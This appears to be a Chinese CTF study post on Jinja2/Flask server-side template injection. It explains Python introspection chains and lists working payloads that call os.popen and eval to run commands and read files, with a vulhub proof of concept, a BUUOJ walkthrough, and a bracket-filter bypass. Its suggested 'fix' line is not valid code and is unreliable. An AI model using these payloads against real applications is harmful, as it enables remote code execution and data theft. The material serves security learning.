模板注入
ssti 服务端模板注入,多存在于python的jinja2,django,tornado,mako 框架 php的tiwg,smarty框架 java框架jade velocity
在不正确使用模板引擎进行渲染时,会造成模板注入,会造成RCE,任意文件读取等漏洞,多出现再ctf中.
知识准备
__class__
返回该对象所属的类__base__
以字符串形式返回一个类所直接继承的第一个类__bases__
以元组的形式返回一个类所直接继承的类__mro__
返回解析方法调用的顺序__subclasses__()
返回这个类的所有子类的集合__globals__
function.__global__
获取function所处空间下可以使用的module、方法及所有变量__init__
初始化类__builtins__
可以利用__import__
eval
执行命令
1 | "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") |
''.__class__.__mro__[-1]
为<class 'object'>
python中的类都是继承object的,所以要调用object类的__subclasses__()
去得到我们想要使用的类的对象,
利用ssti要做的主要为两点
- 读取文件内容
- 执行命令
那只需要去寻找 os/file等关键字
一般都是使用object类下的
<class 'os._wrap_close'>
的popen
1 | for i in enumerate(''.__class__.__base__.__subclasses__()[:200]): |
vulhub上的flask ssti
1 | from flask import Flask, request |
关键语句
t = Template("Hello " + name)
利用get传参进入template,构造注入语句
验证语句
漏洞修复
t = Template("Hello " + {{defense}})
官方POC
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
buuoj ssti
可以判断是flask jinja2 的模板 (如果返回的是25 则是Twig模板)
?password={{%27%27.__class__.__base__}}
?password={{%27%27.__class__.__mro__[-1]}}
?password={{%27%27.__class__.__base__.__subclasses__()}}
或者
?password={{%27%27.__class__.__mro__[-1].__subclasses__()}}
获取object的可以利用的类
使用脚本遍历找到利用的类
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127]}}
利用.__init__.__globals__
来找os类下的,__init__
初始化类,然后__globals__
全局来查找所有的方法及变量及参数
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__}}
利用popen
去读取文件
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27dir%27).read()}}
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%27).read()}}
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__[%27eval%27]("__import__(%27os%27).popen(%27ls%27).read()")}}
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27whoami%27).read()}}
看看/app下面有什么内容
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%20/app%27).read()}}
看看server.py
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}
得到flag n1book{eddb84d69a421a82}
可能会用到的payload
1 | {{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["popen"]("whoami").read()}} |
如果过滤了[]等括号
使用 __gititem__
{{%27%27.__class__.__bases__[0]}}
-->
{{%27%27.__class__.__bases__.__getitem__(0)}}
Reference
https://blog.csdn.net/weixin_45669205/article/details/114373785
https://xz.aliyun.com/t/3679
http://www.cl4y.top/ssti%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5%e5%ad%a6%e4%b9%a0/
https://www.cnblogs.com/Xy--1/p/12841941.html
http://ctf.ieki.xyz/library/ssti.html